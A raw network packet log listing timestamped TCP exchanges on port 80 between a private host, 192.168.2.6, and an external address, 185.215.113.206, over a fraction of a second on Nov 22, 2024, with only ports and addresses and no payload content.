Nov 22, 2024 14:43:29.672543049 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.672566891 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.672611952 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.672611952 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.673710108 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.673763037 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.673799038 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.673912048 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.674808979 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.674823046 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.674879074 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.674879074 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.675926924 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.675982952 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.676006079 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.676032066 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.677041054 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.677114964 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.677131891 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.677191019 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.678214073 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.678262949 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.678276062 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.678404093 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.679289103 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.679346085 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.679394007 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.679455996 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.680474043 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.680581093 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.680618048 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.680737019 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.681586981 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.681658983 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.681663036 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.681710958 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.682765961 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.682857990 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.682882071 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.682935953 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.683764935 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.683837891 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.683957100 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.684007883 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.684964895 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.685025930 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.685034037 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.685084105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.685991049 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.686069012 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.686113119 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.686253071 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.687128067 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.687208891 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.687235117 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.687320948 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.688252926 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.688306093 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.688311100 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.688404083 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.739583015 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.739669085 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.739729881 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.739731073 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.739886999 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.739953041 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.739995003 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.740051031 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.741018057 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.741077900 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.741137028 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.741219044 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.742160082 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.742248058 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.742289066 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.742342949 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.743280888 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.743331909 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.743392944 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.743441105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.744457960 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.744503021 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.744560957 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.744626999 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.745805979 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.745866060 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.745935917 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.745981932 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.747052908 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.747113943 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.747193098 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.747270107 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.748186111 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.748270988 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.748280048 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.748342991 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.749244928 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.749336004 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.749360085 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.749481916 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.750422955 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.750540972 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.750566959 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.750639915 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.751302004 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.751357079 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.751418114 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.751471996 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.752177954 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.752232075 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.752274990 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.752355099 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.753324032 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.753400087 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.753403902 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.753494978 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.754420996 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.754498005 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.754529953 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.754628897 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.755567074 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.755614996 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.755794048 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.755853891 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.756671906 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.756757975 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.756771088 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.756916046 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.757776976 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.757834911 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.757872105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.757872105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.758894920 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.759000063 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.759022951 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.759054899 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.760011911 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.760066986 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.760108948 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.760221958 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.761116982 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.761173010 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.796972990 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.797019005 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.797082901 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.797082901 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.797508001 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.797576904 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.797607899 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.797718048 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.798369884 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.798475027 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.798490047 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.798547029 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.799504042 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.799561977 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.799617052 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.799664021 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.800595045 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.800662041 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.800700903 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.800921917 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.801724911 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.801791906 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.801825047 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.802017927 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.802828074 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.802898884 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.802936077 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.802984953 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.803961992 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.804016113 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.804055929 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.804127932 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.805073023 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.805171013 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.805188894 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.805342913 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.806197882 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.806310892 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.806318998 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.806413889 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.807358027 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.807420969 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.807430029 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.807483912 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.808414936 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.808466911 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.808526993 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.808578968 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.809587955 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.809676886 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.809684992 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.809798956 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.810688019 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.810770988 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.868827105 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.868925095 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.868971109 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.869021893 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.869422913 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.869515896 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.869540930 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.869657040 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.870430946 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.870501041 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.870549917 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.870600939 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.871613979 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.871700048 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.871720076 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.871807098 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.872744083 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.872807026 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.872816086 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.872862101 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.873833895 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.873910904 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.873955965 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.874025106 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.874979019 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.875075102 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.875086069 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.875133991 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.876044035 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.876094103 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.876110077 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.876147985 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.877171040 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.877238035 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.877238989 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.877295971 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.878261089 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.878321886 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.878374100 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.878434896 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.879559040 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.879688978 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.880058050 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.880202055 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.880530119 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.880619049 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.880647898 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.880752087 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.881702900 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.881786108 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.881963015 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.882031918 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.882755995 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.882837057 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.882877111 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.882941961 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.883923054 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.884006977 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.884022951 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.884066105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.885104895 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.885123968 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.885189056 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.885189056 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.886261940 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.886393070 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.886399984 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.886651039 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.887253046 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.887337923 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.887342930 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.887401104 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.888376951 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.888479948 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.888495922 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.888559103 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.889473915 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.889554024 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.889609098 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.889744043 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.941133976 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.941190958 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.941198111 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.941231966 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.941637993 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.941685915 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.941751003 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.941797972 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.942745924 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.942791939 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.942852974 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.942898035 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.943883896 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.943933964 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.943993092 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.944040060 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.945099115 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.945144892 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.945158005 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.945204020 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.946145058 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.946191072 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.946248055 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.946290970 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.947259903 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.947282076 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.947302103 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.947321892 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.948362112 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.948407888 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.948457956 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.948506117 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.949503899 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.949549913 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.949573040 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.949611902 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.950535059 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.950578928 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.950640917 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.950687885 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.951674938 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.951720953 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.951817036 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.951862097 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.952814102 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.952884912 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.952933073 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.952980995 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.953905106 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.953949928 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.953994989 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.954039097 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.955060005 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.955106020 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.955219984 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.955257893 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.956177950 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.956224918 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.956243992 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.956284046 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.957257032 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.957303047 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.957607985 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.957653046 CET	49721	80	192.168.2.6	185.215.113.206
